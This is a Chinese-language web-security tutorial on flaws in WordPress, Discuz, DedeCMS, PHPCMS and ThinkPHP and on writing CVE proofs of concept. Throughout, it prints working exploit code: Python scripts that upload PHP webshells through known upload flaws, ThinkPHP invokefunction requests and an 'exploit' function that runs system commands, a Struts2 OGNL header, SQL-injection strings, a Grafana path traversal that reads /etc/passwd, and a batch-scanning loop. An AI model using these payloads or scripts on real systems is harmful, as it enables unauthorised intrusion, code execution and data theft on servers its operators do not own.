关于 Web 安全:6. 常见 CMS 开源系统风险点
一、WordPress
-
开源内容管理系统(CMS),使用 PHP + MySQL 构建;
-
全球超过 40% 网站使用;
-
支持插件、主题系统,功能可扩展性极强;
-
也是风险点最多的系统之一,插件/主题贡献了大部分安全问题。
1.1 WordPress 架构概览
(便于理解风险点位置)
WordPress
├── wp-admin/ → 后台管理界面
├── wp-content/
│ ├── themes/ → 前端模板(可能存在 XSS/上传)
│ └── plugins/ → 插件目录(最多风险点来源)
├── wp-includes/ → 核心函数库
├── wp-config.php → 配置文件(数据库连接信息)
├── index.php → 网站首页入口
└── functions.php → 常见主题挂钩函数
1.2 WordPress 常见风险点类型
类型 | 描述 | 示例插件/位置 |
---|---|---|
任意文件上传 | 插件绕过上传限制,上传 PHP Shell | 文件管理类插件、主题上传点 |
SQL 注入 | 参数未过滤,注入数据库语句 | 如 WP Statistics |
XSS(跨站脚本) | 用户输入未过滤,注入 JS 脚本 | 评论、搜索框、帖子 |
CSRF | 未做 Token 验证的敏感操作 | 管理员点击恶意链接,触发敏感动作 |
RCE | 通过插件/主题风险点,远程执行任意 PHP 命令 | PHP Object Injection、eval() 后门 |
信息泄露 | 暴露用户、路径、目录结构等 | xmlrpc 接口、REST API、目录遍历 |
1.3 历史 CVE 风险点分析(含原理)
CVE-2019-8942 — 任意文件删除风险点
-
位置:
wp-includes/functions.php
-
影响版本:WordPress < 5.0.1
-
原理:
-
wp_delete_attachment()
可删除任意路径; -
攻击者上传一个图片文件并删除对应路径可实现本地文件删除。
-
CVE-2020-25213 — 插件 File Manager RCE
-
插件名:File Manager(700k+ 安装)
-
风险点描述:
-
插件打包带了
elFinder
文件管理器; -
elFinder 中的
connector.minimal.php
没有身份验证; -
可直接上传恶意 PHP 文件并执行,实现 RCE。
-
-
利用路径:
POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php
CVE-2017-1001000 — WP REST API 任意用户信息泄露
-
影响版本:4.7.x
-
API 可被未授权访问,直接获取用户信息:
GET /wp-json/wp/v2/users
1.4 POC 编写方法(以 RCE 为例)
示例:File Manager 插件 RCE POC
import requests # 导入 requests 库,用于发送 HTTP 请求def upload_shell(url): # 定义上传 WebShell 的函数,参数为目标网站地址# 拼接目标上传地址,这是 WP File Manager 插件的一个文件上传接口路径upload_url = f"{url}/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"# 构造上传的文件参数,文件名为 shell.php,内容为执行 cmd 参数命令的 PHP 代码,MIME 类型为 PHPfiles = {'upload[]': ('shell.php', b'<?php echo shell_exec($_GET["cmd"]); ?>', 'application/x-php')}try:# 发送 POST 请求将文件上传到服务器r = requests.post(upload_url, files=files, timeout=5)# 如果响应中包含“added”关键字,表示上传成功if "added" in r.text:print("[+] 上传成功!尝试访问 shell") # 打印成功信息# 打印 WebShell 的访问地址,并附带测试命令 ?cmd=idprint(f"访问地址:{url}/wp-content/plugins/wp-file-manager/lib/files/shell.php?cmd=id")else:print("[-] 上传失败") # 上传不成功则输出失败信息except:print("[-] 请求失败") # 请求过程中出现异常则输出失败信息upload_shell("http://127.0.0.1") # 调用函数,传入本地测试地址作为目标网站地址
1.5 风险点复现平台
1)Vulhub
-
风险点靶场,提供 WordPress 相关复现环境
-
使用方法:
git clone https://github.com/vulhub/vulhub.git
cd vulhub/wordpress/CVE-XXXX-XXXX
docker-compose up -d
2)GitHub PoC 搜索
site:github.com wordpress poc
site:github.com wordpress CVE-2020-25213
常见 PoC 库:
-
https://github.com/projectdiscovery/nuclei-templates
-
https://github.com/vulhub/vulhub
-
https://github.com/nomi-sec/PoC-in-GitHub
3)国内平台
平台 | 功能 |
---|---|
CNVD | 查阅已知 WordPress 核心/插件风险点 |
补天平台 | 提交 WordPress 风险点获得积分、赏金 |
风险点盒子(历史) | 老平台,很多插件历史风险点记录 |
1.6 系统性 WordPress 风险点挖掘
初级阶段:
-
安装 WordPress(建议用 Docker)
-
安装热门插件(下载旧版本)
-
配合 Burp Suite 抓包观察上传/请求
中级阶段:
-
用 WPScan 自动化扫描插件风险点
-
学习常见 CVE 利用过程
-
手动构造 POC、复现请求
高级阶段:
-
审计插件源码(PHP)
-
分析插件 hook、filter、ajax 动态请求
-
自己编写插件 + 引入风险点 → 学习风险点原理
1.7 WPScan 工具推荐
wpscan --url http://127.0.0.1 --enumerate p
-
--enumerate u
枚举用户 -
--enumerate p
枚举插件 -
--api-token=xxx
可查 CVE
1.8 小结
项目 | 内容 |
---|---|
学习方向 | 插件/主题安全、风险点分析、审计、PoC 编写 |
高危点 | 任意上传、插件远程命令执行、反序列化 |
实践方式 | 使用 Vulhub + GitHub POC + 自己编写上传脚本 |
常用工具 | WPScan、Burp Suite、dirsearch、nuclei |
二、Discuz
Discuz 是国内大量网站(如论坛、社区)的核心组件,因其广泛使用和 PHP 编写,成为安全研究重点对象。
-
作者:Comsenz(腾讯收购)
-
语言:PHP + MySQL
-
用途:论坛、社区系统(可与 UCenter 集成)
-
文件结构:功能集中在
source/
目录,交互入口在forum.php
、member.php
等
2.1 Discuz 常见风险点类型
风险点类型 | 描述 | 常见位置 |
---|---|---|
SQL注入 | 参数拼接未过滤 | 搜索、登录、插件参数 |
任意文件上传 | 绕过 MIME 检测 | 上传头像、主题封面、插件 |
XSS 跨站脚本 | 输入未过滤、富文本风险点 | 帖子内容、签名、头像路径 |
CSRF 跨站请求伪造 | 缺少 formhash 校验 | 注册、发帖、添加管理员 |
远程代码执行 RCE | 利用 eval / preg_replace / 动态 include | 插件模板、缓存文件 |
任意文件读取/包含 | 用户输入拼接文件路径 | include、require、loadcache |
SSRF/命令注入 | 管理后台中图片链接处理 | 头像抓取、远程图片 |
2.2 Discuz 文件结构
利于风险点定位
Discuz/
├── admin.php → 后台入口
├── forum.php → 主页面逻辑
├── uc_server/ → 用户中心(UCenter)
├── source/
│ ├── function/ → 核心函数库
│ ├── module/ → 模块控制器
│ ├── plugin/ → 插件目录
│ ├── class/ → 类库
│ └── include/ → 各类配置及逻辑函数
├── config/
├── data/
│ ├── cache/ → 缓存,某些可写导致 RCE
│ └── template/ → 模板编译生成目录
└── template/ → 前端模板
2.3 典型 CVE 和历史风险点详解
1)Discuz! X3.4 前台 getshell 风险点(无 CVE,影响广泛)
-
版本:Discuz X3.4 < R20211215
-
入口:插件上传图片时绕过 MIME 检测,写入 PHP Shell 到缓存目录
-
关键点:上传路径
data/cache/common.php
被 include,成功 getshell
原理:
// source/function/function_core.php
// 文件缓存内容直接 include
if(file_exists($cachefile)) {include $cachefile;
}
-
攻击者构造上传内容为 PHP 代码,绕过格式检测;
-
上传后缓存被 include,即可远程执行 PHP。
2)CVE-2013-2087 — SQL 注入风险点
-
版本:Discuz 7.2
-
位置:
misc.php?mod=patch
-
参数:
serial
直接进入 SQL 查询,未做参数过滤 -
影响:可爆库、登录后台、提权等
3)XSS 风险点 — 签名/主题
-
签名设置时可以写入
<script>
; -
管理员后台查看时触发;
-
可构造Cookie 窃取 / CSRF 搭配使用实现提权
2.4 利用方式与 POC 编写
示例:Discuz X3.4 插件上传图片绕过上传检测 Getshell
import requests# 修改为你的目标站点
target = 'http://127.0.0.1/discuz/'# 构造上传内容(PHP一句话)
payload = {'Filedata': ('shell.jpg', b'<?php eval($_POST["cmd"]);?>', 'image/jpeg')
}headers = {'User-Agent': 'Mozilla/5.0','Cookie': 'your_cookie_here' # 登录后的 Cookie
}upload_url = target + 'misc.php?mod=swfupload&action=swfupload&operation=album&type=image'
r = requests.post(upload_url, files=payload, headers=headers)print('[+] 上传完成,检查是否写入缓存并被 include')
2.5 风险点挖掘思路
目标 | 方法 |
---|---|
上传风险点 | 搜索 move_uploaded_file / copy 函数 |
SQL注入 | 搜索 $sql = "SELECT ... $_GET/$_POST" |
XSS | 搜索 echo $_GET/$_POST/$_COOKIE |
文件包含 | 搜索 include($_GET) 、require($var) |
CSRF | 找 form 操作是否校验 formhash |
2.6 工具推荐
1)Burp Suite + 插件(xss validator、upload scanner)
2)代码审计工具
-
Seay Source Code Auditor(国产,支持 PHP)
-
RIPS(开源静态分析工具)
-
VSCode + 全局搜索
3)自动化风险点检测框架
-
dirsearch、nuclei、WhatWeb:探测后台与目录结构
-
sqlmap:测试 SQL 注入
2.7 风险点复现平台
平台 | 说明 |
---|---|
CNVD | 查 Discuz 历史风险点 |
风险点盒子 | 搜 Discuz + 风险点类型(如“discuz 文件上传”) |
补天平台 | 真实站点测试(白帽子平台) |
GitHub PoC 搜索 | 直接下载复现脚本或 Fuzz 工具 |
Vulhub | 虽未内置 Discuz,可自行搭建测试环境 |
2.8 系统学习 Discuz 风险点
推荐流程:
-
本地搭建环境:
-
使用 LNMP(或 XAMPP/WAMP)搭建 Discuz
-
安装常用插件如“X附件管理”、“门户扩展”、“积分商城”
-
-
手动分析风险点:
-
查找上传入口、动态 include 文件
-
配合 burp 抓包分析请求参数
-
-
复现公开风险点:
-
利用 CNVD/wooyun 风险点标题 + GitHub 搜脚本
-
改写为 POC/EXP,加深理解
-
-
源码审计(进阶):
-
审计 source/function、module/plugin 目录
-
重点函数:
include
,eval
,move_uploaded_file
,DB::query
-
2.9 小结
内容 | 说明 |
---|---|
核心风险 | 上传点+缓存路径包含、插件不安全参数 |
高危函数 | eval、preg_replace、include、require、DB::query |
POC 编写 | 抓包分析请求路径、构造上传/注入/脚本内容 |
建议练手 | X3.4 缓存上传 RCE、XSS(签名)、SQL注入 CVE-2013-2087 |
推荐技能 | 熟悉 PHP、掌握 Burp Suite、代码审计技巧 |
三、dedecms
-
作者:织梦科技(dede58.com / dedecms.com)
-
语言:PHP + MySQL
-
用途:中小型企业官网、个人站、博客系统,国内使用广泛
-
特性:模板灵活、后台功能强,但安全设计薄弱
3.1 DedeCMS 常见风险点类型
风险点类型 | 说明 | 风险点位置举例 |
---|---|---|
SQL注入 | 参数拼接未过滤 | member、plus、diy模块 |
任意文件上传 | 上传文件未做类型校验或扩展名绕过 | 模板文件上传、自定义表单上传 |
远程命令执行(RCE) | 利用 include + 用户可控路径等构造 | include 动态拼接 |
任意文件删除 | 可控路径拼接 unlink 函数 | 缓存清除/图片处理等 |
任意文件读取 | 拼接 include 路径、读取配置、数据库备份文件 | 下载备份数据库、模板泄漏 |
XSS | 页面未对用户输入做转义 | 留言板、评论、会员资料、搜索框 |
CSRF | 缺少 token 检查,用户操作被劫持 | 后台配置、会员注册或密码修改等 |
3.2 重要目录结构
dedecms/
├── dede/ → 后台目录(默认可自定义)
├── plus/ → 模块扩展接口(如留言板、搜索)
├── uploads/ → 用户上传目录
├── include/ → 核心库函数
├── data/ → 数据库备份 / 配置文件 / 可读可写
├── templets/ → 前端模板目录
├── member/ → 用户系统模块
└── install/ → 安装程序
3.3 典型风险点与 CVE 实例详解
1)CVE-2018-6910 — 任意文件删除风险点
-
位置:
/plus/recommend.php
-
原理:
-
参数
aid
为用户控制,最终调用了unlink
删除文件 -
可拼接删除任意文件,如:
../../data/admin/config.php
-
// plus/recommend.php
@unlink($cfg_basedir.$row['litpic']);
2)任意文件上传(getshell) — no CVE
-
版本:DedeCMS v5.7 SP2 / SP3 多版本
-
位置:会员中心 / 模板管理上传 / 自定义表单
// dede/templets.php
move_uploaded_file($_FILES['uploadfile']['tmp_name'], $cfg_basedir.$filename);
-
可以构造上传
.php;.jpg
文件绕过检查 -
上传路径可控,如
uploads/a.php
3)SQL 注入风险点
-
位置:
plus/diy.php
,plus/search.php
,member/guestbook.php
等 -
危险函数:
$dsql->Execute()
,GetOne()
,ExecuteNoneQuery()
// plus/diy.php
$query = "SELECT ... WHERE id='$id'";
// id 未过滤,拼接到 SQL
- 利用
id=1' or updatexml(1,concat(0x7e,user()),0) --+
可回显错误
4)远程代码执行风险点(RCE) — include 拼接
- 位置:
/include/common.inc.php
中存在动态包含
require_once(dirname(__FILE__).'/../'.$some_var.'.php');
- 如果
$some_var
可控,则可实现任意包含或代码执行
3.4 风险点挖掘与 POC 编写方法
示例:DedeCMS 任意文件上传 Getshell(会员中心)
攻击流程:
-
登录会员中心
-
上传头像时绕过检查上传 php
-
利用访问上传路径执行恶意代码
简易 POC:
import requestsurl = 'http://target.com/uploads/'
file = {'file1': ('shell.php', '<?php eval($_POST["cmd"]); ?>', 'application/octet-stream')}r = requests.post('http://target.com/dede/templets_add.php', files=file)
if 'success' in r.text:print('[+] Upload success')print(f'[+] Shell: {url}shell.php')
3.5 代码审计思路
目标类型 | 搜索关键词 |
---|---|
上传风险点 | move_uploaded_file , copy |
SQL 注入 | SELECT * FROM , WHERE , $_GET , $_POST |
文件包含/执行 | include , require , eval |
文件删除 | unlink , @unlink |
读取敏感信息 | readfile , fopen |
3.6 复现环境搭建
方式一:Docker 环境搭建
git clone https://github.com/vulhub/vulhub
cd vulhub/dedecms/CVE-2018-6910
docker-compose up -d
访问:http://localhost:8080
方式二:手动搭建
-
下载 dedecms 安装包(如 5.7 SP2)
-
本地配置 LNMP / XAMPP 环境
-
修改后台目录名(
dede/
)确保路径一致 -
添加测试数据,构造 payload
3.7 风险点资源获取平台
平台 | 用法示例 |
---|---|
CNVD | 搜索关键词 DedeCMS ,获取风险点编号和说明 |
风险点盒子 | 搜 织梦 , dedecms ,查看历史风险点和 PoC |
补天平台 | 查询真实站点 DedeCMS 风险点情况 |
GitHub PoC | 搜索 dedecms poc exploit |
SecWiki | 整理常见 CMS 风险点 |
3.8 系统性 DedeCMS 风险点挖掘
初级:
-
熟悉后台结构、模板上传逻辑、plus 接口参数
-
练习 CVE-2018-6910(任意删除)和常见文件上传
中级:
-
审计 member/plus/dede/include 目录代码
-
编写 burp 插件抓包分析自定义上传逻辑
高级:
-
分析 include/common.inc.php 加载流程
-
搜索
eval
,include
,require
,fwrite
,做静态审计
3.9 小结
内容 | 说明 |
---|---|
高危函数 | eval, include, move_uploaded_file, unlink |
容易被攻击点 | 模板上传、会员资料、plus 接口 |
实战推荐风险点 | 任意删除 CVE-2018-6910、模板上传 Getshell |
推荐平台与工具 | GitHub PoC、Vulhub、Burp Suite、Seay 审计工具 |
建议 | 本地搭环境,复现 + 审计结合,逐步深入理解源码 |
四、phpcms
-
名称:PHPCMS(PHP内容管理系统)
-
作者:2003年诞生,开源免费,由盛大收购后开源终止,后由社区维护
-
语言:PHP + MySQL
-
版本:常见使用版本为 PHPCMS v9
目录结构清晰、模块化好、使用面广,但安全性设计不够完善,是代码审计和风险点复现的经典 CMS 之一。
4.1 重要目录结构
phpcms/
├── phpcms/ ← 核心文件
├── caches/ ← 缓存目录,可写
├── statics/ ← 静态资源
├── api/ ← 接口模块
├── install/ ← 安装目录
├── member/ ← 会员中心
├── admin/ ← 管理后台
├── uploadfile/ ← 文件上传(可传马)
└── configs/ ← 数据库配置等
4.2 常见风险点类型总结
类型 | 简述 |
---|---|
任意文件上传 | 上传头像、编辑器附件、模板等绕过限制,获取 webshell |
SQL 注入 | 使用 $this->db->query() 拼接参数导致注入 |
远程命令执行 | 用户参数拼接后用于 eval 、assert 等 |
任意文件包含 | include($_GET['mod'].'.php') 这类形式 |
任意文件读取 | readfile($filename) 或 file_get_contents($_GET['f']) |
任意文件删除 | unlink($_GET['file']) 等未验证参数 |
后台绕过 | 管理登录验证绕过、验证码绕过 |
XSS/CSRF | 富文本/评论系统等 |
4.3 典型风险点实例详解(含 CVE)
1)任意文件上传风险点(webshell)
-
位置:
phpcms/modules/member/index.php
-
原理:
-
注册会员上传头像时,没有过滤扩展名或上传路径可控
-
可以上传
a.php;.jpg
或通过目录穿越写入.php
-
实战流程:
-
注册账号,访问上传接口
-
上传恶意
webshell
-
构造访问路径执行命令
示例代码:
// member/index.php
$filepath = 'uploadfile/avatar/' . $userid . '.jpg';
move_uploaded_file($_FILES['Filedata']['tmp_name'], $filepath);
构造 payload:
POST /index.php?m=member&c=index&a=upload HTTP/1.1
...
Filedata = shell.php;.jpg // 后缀绕过
2)SQL 注入风险点(无WAF场景高回显)
-
位置:
/api.php
,参数未过滤 -
CVE:CVE-2018-19127
-
POC:
http://target.com/index.php?m=content&c=index&a=lists&catid=1&kw=' and updatexml(1,concat(0x7e,user()),1) --+
- 可直接报错注入,回显数据库用户名等敏感数据
3)任意文件读取风险点
-
位置:
phpcms/modules/content/down.php
-
风险点点:
$filename = $_GET['f']; // 未限制后缀名和目录
readfile($filename);
- 构造访问:
http://target.com/index.php?m=content&c=down&a=init&f=../../config/database.php
4)任意文件包含风险点
-
CVE:CVE-2018-19126
-
位置:
phpcms/modules/search/index.php
-
核心代码:
require_once PHPCMS_PATH.'include/'.$module.'.php';
- 构造:
http://target.com/index.php?m=search&c=index&a=init&module=../../uploadfile/shell
前提是可控上传 + include。
4.4 POC 编写方式
以上传风险点为例,编写 POC 时通常包含三步:
-
构造上传请求
files = {'Filedata': ('shell.php;.jpg', '<?php eval($_POST["cmd"]); ?>', 'image/jpeg')
}
r = requests.post(upload_url, files=files)
- 判断是否上传成功
if 'success' in r.text and 'shell.php' in r.text:print("Upload Success")
- 发送命令执行测试
test = requests.post(shell_url, data={'cmd': 'phpinfo();'})
if 'PHP Version' in test.text:print("Shell is working")
4.5 复现平台
平台 | 使用方式 |
---|---|
CNVD | 搜索关键词 phpcms 查看风险点编号、通告 |
补天平台 | 搜 “phpcms” 查看实战攻击记录 |
GitHub POC | 搜 phpcms poc exploit |
Vulhub | 提供 CVE-2018-19126 等复现环境 |
风险点盒子镜像 | 查找历史风险点投稿 |
Seebug | 有详细风险点分析文章 |
4.6 本地搭建复现环境
方法一:使用 Vulhub
git clone https://github.com/vulhub/vulhub
cd vulhub/phpcms/CVE-2018-19126
docker-compose up -d
访问:http://localhost:8080
方法二:手动搭建
-
下载 PHPCMS v9
-
配置 LNMP 环境
-
配置 MySQL 及数据库账号
-
添加测试数据并尝试风险点构造
4.7 代码审计技巧
审计目标 | 检查方式 |
---|---|
上传函数 | move_uploaded_file , copy , fwrite ,配合 $_FILES 使用 |
SQL语句拼接 | $db->query("select * from ... ".$_GET['id']) |
动态执行函数 | eval() , include , require |
文件读取 | readfile , file_get_contents , fopen |
4.8 学习建议
入门阶段
-
学会搭建 phpcms v9 环境
-
练习 CVE-2018-19126 文件包含
-
抓包分析上传接口逻辑
进阶阶段
-
熟练编写文件上传、注入、包含类风险点 POC
-
尝试代码审计 phpcms/modules/* 路径下各模块
-
搜索高危函数
eval
,assert
,unserialize
4.9 小结
内容 | 说明 |
---|---|
高危点 | 上传接口、search 模块、down 模块 |
推荐复现风险点 | CVE-2018-19126、上传 getshell |
平台与资源 | GitHub PoC、Vulhub、CNVD、补天 |
学习方向建议 | 审计 + 搭建复现 + 写 PoC + 看 CVE |
五、ThinkPHP
-
全称:ThinkPHP Framework
-
作者/团队:TopThink(国人开发)
-
语言:PHP
-
版本体系:
-
ThinkPHP 3.x(大量站点仍在用)
-
ThinkPHP 5.x(5.0、5.1)
-
ThinkPHP 6.x(最新版,重构了架构)
-
安全性最差的版本为 ThinkPHP 5.0.x 和 5.1.x,风险点最多、利用最广。
5.1 常见风险点类型
风险点类型 | 简述 |
---|---|
RCE(远程命令执行) | 路由解析器对控制器/方法名未做严格过滤 |
SQL注入 | 部分版本参数拼接或query手动执行导致注入 |
变量覆盖 | 使用 extract、parse_str 导致全局变量被覆盖 |
文件包含 | 使用 include($file) 时未限制路径 |
信息泄露 | debug 模式、trace、日志接口未关闭 |
任意文件写入/上传 | 模板写入、日志写入可导致任意写文件 |
5.2 核心风险点详解
1)ThinkPHP 5.0.23 RCE(经典)
-
编号:无 CVE,但极其广泛
-
影响版本:ThinkPHP 5.0.0 ~ 5.0.23
-
原因:路由系统未限制模块/方法名,导致
__construct()
被执行
请求构造:
POST /index.php?s=/index/\think\Request/input HTTP/1.1
Content-Type: application/x-www-form-urlencoded_get[]=phpinfo
-
解释:
-
/index.php?s=/index/\think\Request/input
利用了 PHP 类自动加载 -
调用了
Request::input()
方法 -
_get[]
数组会被传给input
方法,最终触发命令执行
-
利用函数:
-
system()
-
phpinfo()
-
assert()
2)ThinkPHP 5.1.6 RCE(CVE-2018-20062)
-
编号:CVE-2018-20062
-
原理:控制器反射调用,构造调用方法并传参触发命令执行
利用路径:
GET /index.php?s=/index/\think\App/invokefunction&function=phpinfo&vars[0]=1
-
App::invokeFunction()
会调用任意函数phpinfo
,传参为1
-
支持调用
system
,exec
,shell_exec
攻击链:
\think\App -> invokeFunction(function, args) -> call_user_func_array
3)变量覆盖导致任意文件写入
-
原理:
-
日志系统使用 extract() 获取变量
-
利用日志写入点 + 后缀伪造写入 webshell
-
利用条件:
-
日志目录可写
-
文件内容可控(如写入
<?php eval($_POST['cmd']); ?>
)
5.3 POC 编写思路(以 5.0.23 RCE 为例)
POC 核心思路:
-
发送 POST 请求执行
phpinfo()
测试 RCE 是否存在 -
改成
system('id')
实现命令执行
import requestsurl = 'http://target.com/index.php?s=/index/\\think\\Request/input'
data = {'_method': '__construct', 'filter[]': 'phpinfo', 'server[REQUEST_METHOD]': '1'}r = requests.post(url, data=data)if 'PHP Version' in r.text:print("[+] ThinkPHP RCE 存在!")
5.4 审计技巧与代码分析重点
关键位置 | 说明 |
---|---|
route.php | 路由定义和闭包函数可能执行 |
app()->run() | 核心入口函数 |
App::invokeFunction | 可反射执行任意函数 |
Request::input() | 读取任意输入数据 |
Config::get() | 读取配置(信息泄露点) |
Log::write() | 可控写入日志 |
5.5 复现平台
资源平台 | 用途与说明 |
---|---|
Vulhub | 提供 TP 5.0.23、5.1.6 风险点环境 |
GitHub POC | 搜索 thinkphp RCE CVE poc |
CNVD | 查询国内披露的 TP 风险点 |
Seebug | 优质风险点分析文章与实战案例 |
风险点盒子/补天 | 有丰富的 TP 实战提交和案例 |
5.6 本地环境复现(Vulhub)
git clone https://github.com/vulhub/vulhub
cd vulhub/thinkphp/5-rce
docker-compose up -d
访问:http://localhost:8080 可直接使用 PoC 测试是否存在风险点
5.7 实战挖掘技巧
1)路由注入点识别
-
/index.php?s=/
是否存在? -
是否允许使用
\think\类名
构造请求?
2)控制器调用链梳理
-
查看是否存在反射执行点
App::invokeFunction
,Loader::action
3)日志/模板写入点
-
查看
Log::write()
是否内容可控 -
模板编译缓存是否在 web 根目录(
runtime/temp/*.php
)
4)DEBUG 模式信息泄露
访问:
/index.php?s=/index/\\think\\app/invokefunction&function=phpinfo
/index.php?debug=1
5.8 版本风险点
版本 | 风险点 | CVE/说明 |
---|---|---|
TP 5.0.23 | RCE via Request::input | 无 CVE,经典构造 |
TP 5.1.6 | RCE via App::invokeFunction | CVE-2018-20062 |
TP 3.2.3 | SQL 注入、变量覆盖 | 存在多个未修复风险点 |
TP 通用 | 任意方法调用、任意文件写入、debug 泄露 | 取决于配置与代码写法 |
5.9 学习建议
阶段 | 学习建议 |
---|---|
入门 | 跑通 Vulhub 的 TP 风险点复现,理解控制器调用链 |
进阶 | 熟悉框架路由机制、反射函数执行机制 |
提升 | 自己写一个小风险点框架或扫描器,挖私有站风险点 |
六、CVE 利用方式
6.1 什么是 CVE?
-
CVE 编号示例:CVE-2018-20062
-
组成:
CVE-年份-编号
,如CVE-2023-XXXX
-
意义:为安全研究者提供一个统一引用风险点的“身份证”。
6.2 CVE 风险点利用的一般步骤
步骤 | 说明 |
---|---|
① 查找 CVE 信息 | 在 NVD、Exploit-DB、Seebug、CNVD 上查询 |
② 理解风险点原理 | 阅读风险点分析报告,梳理调用链与触发点 |
③ 环境搭建 | 使用 Vulhub、Docker、本地源码构建环境 |
④ 编写 PoC | 构造触发风险点的数据包或请求 |
⑤ 执行利用 | 利用风险点执行命令、读取文件、getshell 等 |
⑥ 留痕排查 | 查看日志、修复补丁、写风险点检测脚本 |
6.3 CVE 利用类型示例(Web 安全领域)
类型 | 示例 CVE | 利用方式 |
---|---|---|
RCE(远程命令执行) | CVE-2018-20062(ThinkPHP) | 构造反射函数调用执行命令 |
SQL注入 | CVE-2022-36804(Jira) | 在查询参数中注入 SQL 语句 |
文件上传 | CVE-2023-25136(某 CMS) | 构造非法上传绕过后缀检查 |
文件包含 | CVE-2019-6340(Drupal) | 包含远程代码并执行 |
任意文件读取 | CVE-2021-43798(Grafana) | 利用路径穿越读取系统文件 |
6.4 CVE 利用方式深入分析:以两个 CVE 为例
案例一:ThinkPHP RCE(CVE-2018-20062)
风险点概述:
-
利用了
App::invokeFunction()
方法未做权限验证,可远程执行任意函数
请求方式:
GET /index.php?s=/index/\think\App/invokefunction&function=phpinfo&vars[0]=1
实现效果:
-
执行任意 PHP 函数,如
system("id")
利用步骤:
-
本地搭建 ThinkPHP 5.1 环境
-
访问上方构造的 URL
-
响应中出现 PHP 版本信息或执行结果
案例二:Apache Struts2 RCE(CVE-2017-5638)
风险点:
-
Apache Struts2 文件上传组件使用
Content-Type
头触发 OGNL 表达式执行
Payload 示例:
Content-Type: %{(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("X-Test","Exploit"))}
执行效果:
-
执行任意命令,如
whoami
、反弹 shell
6.5 CVE PoC 编写方法(以 Web 为例)
1)PoC 基本结构
import requestsdef test(url):payload = "/index.php?s=/index/\\think\\App/invokefunction&function=phpinfo&vars[0]=1"res = requests.get(url + payload)if "PHP Version" in res.text:print("[+] 风险点存在")else:print("[-] 风险点不存在")test("http://127.0.0.1")
2)攻击型 Exploit 示例(RCE)
import requestsdef exploit(url, cmd):payload = f"/index.php?s=/index/\\think\\App/invokefunction&function=system&vars[0]={cmd}"res = requests.get(url + payload)print(res.text)exploit("http://127.0.0.1", "id")
6.6 常用平台查找 CVE 和 POC
1)官方平台
名称 | 地址 | 说明 |
---|---|---|
NVD | https://nvd.nist.gov | 官方 CVE 数据库 |
CVE 官网 | https://cve.mitre.org | CVE 编号查询 |
CNVD | https://www.cnvd.org.cn | 国内风险点库 |
2)POC/EXP 平台
平台 | 用途 |
---|---|
Exploit-DB:https://www.exploit-db.com | 收录 CVE 的 Exploit 代码 |
GitHub(搜索 CVE-xxxx) | 搜索开源 POC/EXP |
Seebug:https://paper.seebug.org | 中文分析报告与 POC |
风险点盒子、补天平台 | 可上传和复现 CVE |
Vulhub:https://github.com/vulhub/vulhub | 提供 CVE 对应的 Docker 风险点复现环境 |
6.7 CVE 实战思路总结
-
先搜索 CVE 编号(Google、NVD、Seebug)
-
确认版本是否影响
-
在 Vulhub 构建复现环境
-
写 POC 脚本测试回显
-
扩展为批量检测脚本、自动化利用工具
-
提交风险点平台如补天、SRC 或 GitHub
七、POC 编写方法
PoC(Proof of Concept) 是指用于验证风险点是否存在的一段代码或脚本,通常用来:
-
风险点复现与验证
-
自动化扫描
-
提交风险点平台(如补天、CNVD)
-
作为风险点利用(EXP)的前置阶段
重点是“验证”,不是“攻击”。PoC 不应对目标造成破坏。
7.1 PoC 的基本结构
PoC 的核心功能就是构造特定请求 ➜ 发送 ➜ 判断响应 ➜ 输出结果
import requestsdef poc(url):payload = "..." # 构造恶意请求res = requests.get(url + payload)if "风险点特征" in res.text:print(f"[+] {url} 存在风险点!")else:print(f"[-] {url} 不存在风险点。")
7.2 常见风险点类型的 PoC 编写模板
1)远程命令执行(RCE)
以 ThinkPHP RCE 为例(CVE-2018-20062):
def thinkphp_rce(url):payload = "/index.php?s=/index/\\think\\App/invokefunction&function=phpinfo&vars[0]=1"try:res = requests.get(url + payload, timeout=5)if "PHP Version" in res.text:print(f"[+] 存在RCE风险点: {url}")else:print("[-] 不存在风险点")except:print("[-] 请求失败")
2)SQL 注入风险点
以某 CMS POST 注入为例:
def sql_injection(url):data = {"username": "admin","password": "admin' OR 1=1-- "}res = requests.post(url, data=data)if "欢迎您" in res.text or "dashboard" in res.text:print(f"[+] SQL注入成功: {url}")else:print("[-] SQL注入失败")
3)任意文件读取
以 Grafana 任意文件读取(CVE-2021-43798)为例:
def read_file(url):payload = "/public/plugins/alertlist/../../../../../../../../etc/passwd"res = requests.get(url + payload)if "root:x:0:0:" in res.text:print(f"[+] 存在任意文件读取: {url}")else:print("[-] 风险点不存在")
4)文件上传绕过
常见场景是上传 php 文件绕过后缀验证:
def file_upload_poc(upload_url):files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')}res = requests.post(upload_url, files=files)if "上传成功" in res.text:print(f"[+] 文件上传成功,可能存在风险点")
7.3 编写 PoC 的核心技巧
1)如何构造 Payload?
-
利用抓包工具(BurpSuite、Fiddler)观察正常和异常请求差异
-
分析风险点原理,寻找参数、路径或头部注入点
-
参考 Github / Exploit-DB 的 PoC 样例进行改写
2)如何判断是否成功?
-
关键词判断法:如
"PHP Version"
、"uid="
、"root:x:0"
等 -
响应长度变化
-
HTTP 状态码
-
响应头部特征
3)如何提升 PoC 自动化能力?
-
增加 URL 检测逻辑,自动补全路径
-
增加 timeout/重试机制
-
支持批量扫描、读取目标列表
-
添加可视化或日志记录模块
示例:批量扫描 PoC 框架
def scan(target_list):for url in target_list:try:thinkphp_rce(url)except Exception as e:print(f"[-] 扫描失败:{url}, 错误:{e}")
7.4 PoC 工具和平台资源
名称 | 用途 |
---|---|
Vulhub | Docker 风险点复现环境 |
Pocsuite3(推荐) | Python 风险点验证框架 |
Seebug | 中文 PoC 平台 |
Exploit-DB | 国外 PoC 收集站 |
GitHub | 搜索:CVE-202x-xxxx poc |
补天、风险点盒子 | 提交风险点、查看他人 PoC |
7.5 进阶建议
1)学习 PoC 框架
-
Pocsuite3
:360 Mars 团队开源风险点验证框架 -
Nuclei
:字节开源 YAML 编写 POC 框架,适合做批量扫描 -
Metasploit
:EXP 居多,也包含 PoC 模块
2)看公开源码学习结构
-
GitHub 搜索
intitle:poc CVE-202*
,或关键词cms风险点 poc
,对照学习 -
关注 SRC/补天 高质量 PoC 写法(参数化、模块化)
7.6 小结
内容 | 重点 |
---|---|
PoC 目的 | 风险点洞验证、非破坏性测试 |
